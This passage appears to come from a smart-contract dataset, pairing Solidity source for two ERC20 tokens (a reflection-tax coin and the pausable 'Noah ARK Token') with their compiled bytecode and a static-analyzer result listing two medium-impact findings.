/// @notice called, as the amount it's being adjusted by changes when transfers are made.)
function internalToExternalAmount(uint256 _internalAmount) view internal returns (uint256) {
return (_internalAmount * adjustmentFactor) / 1e18;
}
/// @notice Derive an internal amount from an external amount. (This will return a different result every time it's
/// @notice called, as the amount it's being adjusted by changes when transfers are made.)
function externalToInternalAmount(uint256 _externalAmount) view internal returns (uint256) {
return (_externalAmount * 1e18) / adjustmentFactor;
}
/// @notice The total external supply of the contract.
function totalSupply() public view returns (uint256) {
return internalToExternalAmount(totalInternalSupply);
}
/// @notice Designate an address as excluded. Transactions to and from excluded addresses don't incur taxes, and
/// @notice they don't receive token redistribution either (which in practice means that their balances are adjusted
/// @notice downwards every time `adjustmentFactor` is increased). This may only be called by `contractOwner`.
function addExcludedAddress(address _addr) public {
require(msg.sender == contractOwner, "This function is callable only by the contract owner.");
require(!excludedAddressesMap[_addr], "_addr is already an excluded address.");
internalSupplyInNonExcludedAddresses -= internalBalances[_addr];
excludedAddressesMap[_addr] = true;
excludedAddresses.push(_addr);
emit AddedExcludedAddress(_addr);
}
/// @notice Remove the designation of excluded address from `_addr`. Transactions to and from excluded addresses
/// @notice don't incur taxes, and they don't receive token redistribution either (which in practice means that
/// @notice their balances are adjusted downwards every time `adjustmentFactor` is increased). This may only be
/// @notice called by `contractOwner`.
function removeExcludedAddress(address _addr) public {
require(msg.sender == contractOwner, "This function is callable only by the contract owner.");
require(_addr != contractOwner, "contractOwner must be an excluded address for correct contract behaviour.");
require(!!excludedAddressesMap[_addr], "_addr is not an excluded address.");
internalSupplyInNonExcludedAddresses += internalBalances[_addr];
excludedAddressesMap[_addr] = false;
for (uint i; i < excludedAddresses.length; i++) {
if (excludedAddresses[i] == _addr) {
if (i != excludedAddresses.length-1)
excludedAddresses[i] = excludedAddresses[excludedAddresses.length-1];
excludedAddresses.pop();
break;
}
}
emit RemovedExcludedAddress(_addr);
}
/// @notice Set whether or not we deduct 3% from every transaction. This may only be called by `contractOwner`.
function setDeductTaxes(bool _deductTaxes) public {
require(msg.sender == contractOwner, "This function is callable only by the contract owner.");
require(_deductTaxes != deductTaxes, "deductTaxes is already that value");
deductTaxes = _deductTaxes;
emit SetDeductTaxes(_deductTaxes);
}
/// @notice Get the external balance of `_owner`.
function balanceOf(address _owner) public view returns (uint256 balance) {
return internalToExternalAmount(internalBalances[_owner]);
}
/// @notice Approve `_spender` to remove up to `_value` in external tokens *at the time the withdraw happens* from
/// @notice `msg.sender`'s account. Multiple withdraws may be made from a single `approve()` call so long as the
/// @notice sum of the external values at the time of each individual call do not exceed `_value`.
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/// @notice This returns the number of external tokens `_spender` is allowed to transfer on behalf of `_owner`.
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/// @notice Transfer `_value` external tokens from `msg.sender`'s account to `_to`'s account. If neither
/// @notice `msg.sender` nor `_to` are excluded addresses, `_to` will receive only 97% of `_value`. 1% will be
/// @notice burned, 1% will be redistributed equally among non-excluded addresses, and 1% will be sent to
/// @notice `contractOwner`.
function transfer(address _to, uint256 _value) public returns (bool success) {
return transferCommon(msg.sender, _to, _value);
}
/// @notice Transfers `_value` from `_from` to `_to`, if `_from` has previously called `approve()` with the correct
/// @notice arguments. Transfers work in the same way as `transfer()`.
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(allowed[_from][msg.sender] >= _value, "Sender has insufficient authorisation.");
allowed[_from][msg.sender] -= _value;
return transferCommon(_from, _to, _value);
}
/// @notice This transfers `_value` from `_from` to `_to`, WITHOUT CHECKING FOR AUTHORISATION.
function transferCommon(address _from, address _to, uint256 _value) internal returns (bool success) {
uint256 internalValue = externalToInternalAmount(_value);
require(internalValue <= internalBalances[_from], "Transfer source has insufficient balance.");
uint256 internalReceivedValue;
if (!excludedAddressesMap[_from] && !excludedAddressesMap[_to] && deductTaxes) {
uint256 onePercent = internalValue / 100;
internalReceivedValue = internalValue - onePercent * 3;
internalSupplyInNonExcludedAddresses -= onePercent * 3;
// This is the adjustment resulting from just this transaction.
uint256 readjustmentFactor =
((internalSupplyInNonExcludedAddresses + onePercent) * 1e18) /
internalSupplyInNonExcludedAddresses;
adjustmentFactor = (adjustmentFactor * readjustmentFactor) / 1e18;
internalBalances[contractOwner] += onePercent;
uint256 removedFunds;
for (uint i; i < excludedAddresses.length; i++) {
// Because this is rounded down, excludedAddresses will slowly lose funds as more transactions are made.
// However, due to the fact that transactions are expensive and we have such a high precision, this
// doesn't make a difference in practice.
uint256 oldBalance = internalBalances[excludedAddresses[i]];
uint256 newBalance = ((oldBalance * 1e18) / readjustmentFactor);
internalBalances[excludedAddresses[i]] = newBalance;
removedFunds += oldBalance - newBalance;
}
// Decrement the total supply by 2% of the transfer amount plus the internal amount that's been taken from
// excludedAddresses.
totalInternalSupply -= removedFunds + onePercent*2;
} else {
if (excludedAddressesMap[_from] && !excludedAddressesMap[_to])
internalSupplyInNonExcludedAddresses += internalValue;
if (!excludedAddressesMap[_from] && excludedAddressesMap[_to])
internalSupplyInNonExcludedAddresses -= internalValue;
internalReceivedValue = internalValue;
}
internalBalances[_to] += internalReceivedValue;
internalBalances[_from] -= internalValue;
emit Transfer(_from, _to, _value);
emit InternalTransfer(_from, _to, internalValue);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106101375760003560e01c80634b2ba0dd116100b8578063a646c35d1161007c578063a646c35d14610356578063a9059cbb14610372578063a9b54bcd146103a2578063cb6741ed146103be578063ce606ee0146103dc578063dd62ed3e146103fa57610137565b80634b2ba0dd146102b05780636215722c146102ce57806367b53108146102ec57806370a082311461030857806395d89b411461033857610137565b8063282a8708116100ff578063282a8708146101f65780632f4c467814610214578063313ce56714610244578063319ebed414610262578063451117ca1461028057610137565b806306fdde031461013c578063095ea7b31461015a578063176345141461018a57806318160ddd146101a857806323b872dd146101c6575b600080fd5b61014461042a565b6040516101519190611881565b60405180910390f35b610174600480360381019061016f919061193c565b610463565b6040516101819190611997565b60405180910390f35b610192610555565b60405161019f91906119c1565b60405180910390f35b6101b0610579565b6040516101bd91906119c1565b60405180910390f35b6101e060048036038101906101db91906119dc565b61058b565b6040516101ed9190611997565b60405180910390f35b6101fe6106f3565b60405161020b91906119c1565b60405180910390f35b61022e60048036038101906102299190611a2f565b6106f9565b60405161023b9190611a6b565b60405180910390f35b61024c610738565b6040516102599190611aa2565b60405180910390f35b61026a61073d565b60405161027791906119c1565b60405180910390f35b61029a60048036038101906102959190611abd565b610743565b6040516102a791906119c1565b60405180910390f35b6102b861075b565b6040516102c591906119c1565b60405180910390f35b6102d661076c565b6040516102e39190611997565b60405180910390f35b61030660048036038101906103019190611b16565b61077d565b005b610322600480360381019061031d9190611abd565b6108b2565b60405161032f91906119c1565b60405180910390f35b610340610903565b60405161034d9190611881565b60405180910390f35b610370600480360381019061036b9190611abd565b61093c565b005b61038c6004803603810190610387919061193c565b610d76565b6040516103999190611997565b60405180910390f35b6103bc60048036038101906103b79190611abd565b610d8b565b005b6103c6610ff3565b6040516103d391906119c1565b60405180910390f35b6103e4610ff9565b6040516103f19190611a6b565b60405180910390f35b610414600480360381019061040f9190611b43565b61101d565b60405161042191906119c1565b60405180910390f35b6040518060400160405280601281526020017f5061727473206f6620466f757220436f696e000000000000000000000000000081525081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161054391906119c1565b60405180910390a36001905092915050565b7f0000000000000000000000000000000000000000000000000000000000cf512181565b60006105866001546110a4565b905090565b600081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561064c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064390611bf5565b60405180910390fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106d89190611c44565b925050819055506106ea8484846110ce565b90509392505050565b60015481565b6004818154811061070957600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601281565b60025481565b60066020528060005260406000206000915090505481565b6c327cb2734119d3b7a90000000081565b60008054906101000a900460ff1681565b7f00000000000000000000000077cbed7275cee8435bfefe0e71c2773154c7b0c273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461080b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080290611cea565b60405180910390fd5b60008054906101000a900460ff161515811515141561085f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085690611d7c565b60405180910390fd5b806000806101000a81548160ff0219169083151502179055507f744c6ee55b7201173cfb0b5e9c044c47efa528937eef0b86f17183a10c549f32816040516108a79190611997565b60405180910390a150565b60006108fc600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110a4565b9050919050565b6040518060400160405280600381526020017f503443000000000000000000000000000000000000000000000000000000000081525081565b7f00000000000000000000000077cbed7275cee8435bfefe0e71c2773154c7b0c273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c190611cea565b60405180910390fd5b7f00000000000000000000000077cbed7275cee8435bfefe0e71c2773154c7b0c273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5090611e34565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610ae5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610adc90611ec6565b60405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460026000828254610b369190611ee6565b925050819055506000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060005b600480549050811015610d3b578173ffffffffffffffffffffffffffffffffffffffff1660048281548110610bd057610bcf611f3c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610d28576001600480549050610c299190611c44565b8114610cdc5760046001600480549050610c439190611c44565b81548110610c5457610c53611f3c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660048281548110610c9357610c92611f3c565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6004805480610cee57610ced611f6b565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055610d3b565b8080610d3390611f9a565b915050610b98565b507f28069ef55713875d75b84b6e0f77334a31803295be41049f09a5df64cb5e552b81604051610d6b9190611a6b565b60405180910390a150565b6000610d833384846110ce565b905092915050565b7f00000000000000000000000077cbed7275cee8435bfefe0e71c2773154c7b0c273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1090611cea565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ea6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9d90612055565b60405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460026000828254610ef79190611c44565b925050819055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506004819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fefc0f92e52264fd936456c31bdd70fde3cea024938b2898278d521210c4aa94881604051610fe89190611a6b565b60405180910390a150565b60035481565b7f00000000000000000000000077cbed7275cee8435bfefe0e71c2773154c7b0c281565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000670de0b6b3a7640000600354836110bd9190612075565b6110c791906120fe565b9050919050565b6000806110da836117be565b9050600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561115e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611155906121a1565b60405180910390fd5b6000600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112045750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561121a575060008054906101000a900460ff165b156114dd57600060648361122e91906120fe565b905060038161123d9190612075565b836112489190611c44565b91506003816112579190612075565b600260008282546112689190611c44565b925050819055506000600254670de0b6b3a76400008360025461128b9190611ee6565b6112959190612075565b61129f91906120fe565b9050670de0b6b3a7640000816003546112b89190612075565b6112c291906120fe565b60038190555081600660007f00000000000000000000000077cbed7275cee8435bfefe0e71c2773154c7b0c273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113379190611ee6565b925050819055506000805b6004805490508110156114a4576000600660006004848154811061136957611368611f3c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600084670de0b6b3a7640000836113e89190612075565b6113f291906120fe565b905080600660006004868154811061140d5761140c611f3c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080826114829190611c44565b8461148d9190611ee6565b93505050808061149c90611f9a565b915050611342565b506002836114b29190612075565b816114bd9190611ee6565b600160008282546114ce9190611c44565b92505081905550505050611665565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156115805750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561159f5781600260008282546115979190611ee6565b925050819055505b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116425750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156116615781600260008282546116599190611c44565b925050819055505b8190505b80600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116b49190611ee6565b9250508190555081600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461170a9190611c44565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161176e91906119c1565b60405180910390a37fe2080c8fc8d86c864d8dc081fadaebf2be7191086615e786f954420f13ed122a8686846040516117a9939291906121c1565b60405180910390a16001925050509392505050565b6000600354670de0b6b3a7640000836117d79190612075565b6117e191906120fe565b9050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611822578082015181840152602081019050611807565b83811115611831576000848401525b50505050565b6000601f19601f8301169050919050565b6000611853826117e8565b61185d81856117f3565b935061186d818560208601611804565b61187681611837565b840191505092915050565b6000602082019050818103600083015261189b8184611848565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006118d3826118a8565b9050919050565b6118e3816118c8565b81146118ee57600080fd5b50565b600081359050611900816118da565b92915050565b6000819050919050565b61191981611906565b811461192457600080fd5b50565b60008135905061193681611910565b92915050565b60008060408385031215611953576119526118a3565b5b6000611961858286016118f1565b925050602061197285828601611927565b9150509250929050565b60008115159050919050565b6119918161197c565b82525050565b60006020820190506119ac6000830184611988565b92915050565b6119bb81611906565b82525050565b60006020820190506119d660008301846119b2565b92915050565b6000806000606084860312156119f5576119f46118a3565b5b6000611a03868287016118f1565b9350506020611a14868287016118f1565b9250506040611a2586828701611927565b9150509250925092565b600060208284031215611a4557611a446118a3565b5b6000611a5384828501611927565b91505092915050565b611a65816118c8565b82525050565b6000602082019050611a806000830184611a5c565b92915050565b600060ff82169050919050565b611a9c81611a86565b82525050565b6000602082019050611ab76000830184611a93565b92915050565b600060208284031215611ad357611ad26118a3565b5b6000611ae1848285016118f1565b91505092915050565b611af38161197c565b8114611afe57600080fd5b50565b600081359050611b1081611aea565b92915050565b600060208284031215611b2c57611b2b6118a3565b5b6000611b3a84828501611b01565b91505092915050565b60008060408385031215611b5a57611b596118a3565b5b6000611b68858286016118f1565b9250506020611b79858286016118f1565b9150509250929050565b7f53656e6465722068617320696e73756666696369656e7420617574686f72697360008201527f6174696f6e2e0000000000000000000000000000000000000000000000000000602082015250565b6000611bdf6026836117f3565b9150611bea82611b83565b604082019050919050565b60006020820190508181036000830152611c0e81611bd2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c4f82611906565b9150611c5a83611906565b925082821015611c6d57611c6c611c15565b5b828203905092915050565b7f546869732066756e6374696f6e2069732063616c6c61626c65206f6e6c79206260008201527f792074686520636f6e7472616374206f776e65722e0000000000000000000000602082015250565b6000611cd46035836117f3565b9150611cdf82611c78565b604082019050919050565b60006020820190508181036000830152611d0381611cc7565b9050919050565b7f646564756374546178657320697320616c726561647920746861742076616c7560008201527f6500000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d666021836117f3565b9150611d7182611d0a565b604082019050919050565b60006020820190508181036000830152611d9581611d59565b9050919050565b7f636f6e74726163744f776e6572206d75737420626520616e206578636c75646560008201527f64206164647265737320666f7220636f727265637420636f6e7472616374206260208201527f65686176696f75722e0000000000000000000000000000000000000000000000604082015250565b6000611e1e6049836117f3565b9150611e2982611d9c565b606082019050919050565b60006020820190508181036000830152611e4d81611e11565b9050919050565b7f5f61646472206973206e6f7420616e206578636c75646564206164647265737360008201527f2e00000000000000000000000000000000000000000000000000000000000000602082015250565b6000611eb06021836117f3565b9150611ebb82611e54565b604082019050919050565b60006020820190508181036000830152611edf81611ea3565b9050919050565b6000611ef182611906565b9150611efc83611906565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611f3157611f30611c15565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6000611fa582611906565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611fd857611fd7611c15565b5b600182019050919050565b7f5f6164647220697320616c726561647920616e206578636c756465642061646460008201527f726573732e000000000000000000000000000000000000000000000000000000602082015250565b600061203f6025836117f3565b915061204a82611fe3565b604082019050919050565b6000602082019050818103600083015261206e81612032565b9050919050565b600061208082611906565b915061208b83611906565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156120c4576120c3611c15565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061210982611906565b915061211483611906565b925082612124576121236120cf565b5b828204905092915050565b7f5472616e7366657220736f757263652068617320696e73756666696369656e7460008201527f2062616c616e63652e0000000000000000000000000000000000000000000000602082015250565b600061218b6029836117f3565b91506121968261212f565b604082019050919050565b600060208201905081810360008301526121ba8161217e565b9050919050565b60006060820190506121d66000830186611a5c565b6121e36020830185611a5c565b6121f060408301846119b2565b94935050505056fea26469706673582212200f651931b1592cf7b704660139d53f526782979d2ad178c4a0ec8fb73e671a4c64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,573 |
0xb0de41a591d6fb075f93cb59002e747694060ba8
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
uint previousBalances = balances[msg.sender] + balances[_to];
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
assert(balances[msg.sender] + balances[_to] == previousBalances);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
*
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
}
/**
* @title TCT Token
*
* @dev Implementation of TCT Token based on the basic standard token.
*/
contract ARKToken is PausableToken {
function () public {
//if ether is sent to this address, send it back.
revert();
}
/**
* Public variables of the token
* The following variables are OPTIONAL vanities. One does not have to include them.
* They allow one to customise the token contract & in no way influences the core functionality.
* Some wallets/interfaces might not even bother to look at this information.
*/
string public name="Noah ARK Token";
uint8 public decimals=18;
string public symbol="ARK";
string public version = '1.0.0';
uint256 public totalSupply = 2000000000 * 10 ** uint256(decimals);
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
*/
constructor() public {
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
}
|
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610103578063095ea7b31461019357806318160ddd146101f857806323b872dd14610223578063313ce567146102a85780633f4ba83a146102d957806354fd4d50146102f05780635c975abb1461038057806366188463146103af57806370a08231146104145780638456cb591461046b5780638da5cb5b1461048257806395d89b41146104d9578063a9059cbb14610569578063d73dd623146105ce578063dd62ed3e14610633578063f2fde38b146106aa575b3480156100fd57600080fd5b50600080fd5b34801561010f57600080fd5b506101186106ed565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015857808201518184015260208101905061013d565b50505050905090810190601f1680156101855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019f57600080fd5b506101de600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061078b565b604051808215151515815260200191505060405180910390f35b34801561020457600080fd5b5061020d6107bb565b6040518082815260200191505060405180910390f35b34801561022f57600080fd5b5061028e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c1565b604051808215151515815260200191505060405180910390f35b3480156102b457600080fd5b506102bd6107f3565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102e557600080fd5b506102ee610806565b005b3480156102fc57600080fd5b506103056108c6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561034557808201518184015260208101905061032a565b50505050905090810190601f168015610372578082038051600183602003